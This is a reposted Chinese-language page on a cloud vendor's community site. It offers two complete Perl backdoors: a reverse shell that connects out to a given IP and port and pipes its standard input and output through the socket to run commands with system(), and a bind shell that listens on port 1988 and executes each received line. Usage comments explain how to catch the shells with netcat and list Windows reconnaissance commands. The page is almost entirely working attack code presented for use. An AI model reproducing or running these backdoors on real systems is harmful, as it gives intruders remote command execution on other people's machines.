perl後門,正向和反向!執行個體代碼

來源:互聯網
上載者:User

反向串連代碼:
1. #!/usr/bin/perl
2. #usage:
3. #nc -vv -l -p PORT(default 1988) on your local system first,then
4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
6. #nc -vv -l -p 1988
7. #perl backdoor.pl 127.0.0.1 1988
8.
9. #use strict;
10. use Socket;
11. use IO::Socket;
12. use Cwd;
13. use IO::Handle;
14. my $remote = $ARGV[0]|| "127.0.0.1";
15. my $remote_port = $ARGV[1]|| 1988;
16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
17. my $path = cwd();
18. $ARGC = @ARGV;
19. if ($ARGV[0]!~/-/)
20. {
21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: ";
22. STDOUT->autoflush(1);
23. SOCKET->autoflush(1);
24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
25. open STDIN,">&SOCKET";
26. open STDOUT,">&SOCKET";
27. open STDERR,">&SOCKET";
28. print "You are in $path\n";
29. print "Welcome to use.\n";
30. print "console>\n";
31.
32. while (<STDIN>) {
33. chomp;
34. if( lc($_) eq 'exit' ) {
35. print " Bye Bye!";
36. exit;
37. }
38. $msg=system($_);
39. if($msg){
40. print STDOUT "\n$msg\n";
41. print STDOUT "console>";
42. }else
43. {
44. print "console>";
45. }
46. }
47. close SOCKET;
48. exit;
49. }
正向串連代碼:
1. #!/usr/bin/perl
2. #ActivePerl 5.8.8 Build 822
3. #usage:
4. #first:perl backdoor2c.pl
5. #second:nc -vv 127.0.0.1 1988
6. #net user
7. #ipconfig /all
8. #netstat -anb
9. use IO::Socket;
10. $port = "1988";
11. my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' ,
12. 'LocalPort'=>$port ,
13. 'Listen'=>1 ,
14. 'Proto'=>'tcp' ,
15. 'Reuse'=>1 );
16. die "Reason: $!" unless $socket;
17. while (my $new_socket = $socket->accept()) {
18. while (my $buffer=<$new_socket> ){
19. if ($buffer=~/exit/) {exit;}
20. $res_msg=`$buffer`;
21. print $new_socket "$res_msg\ncmd>";
22. }}
相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.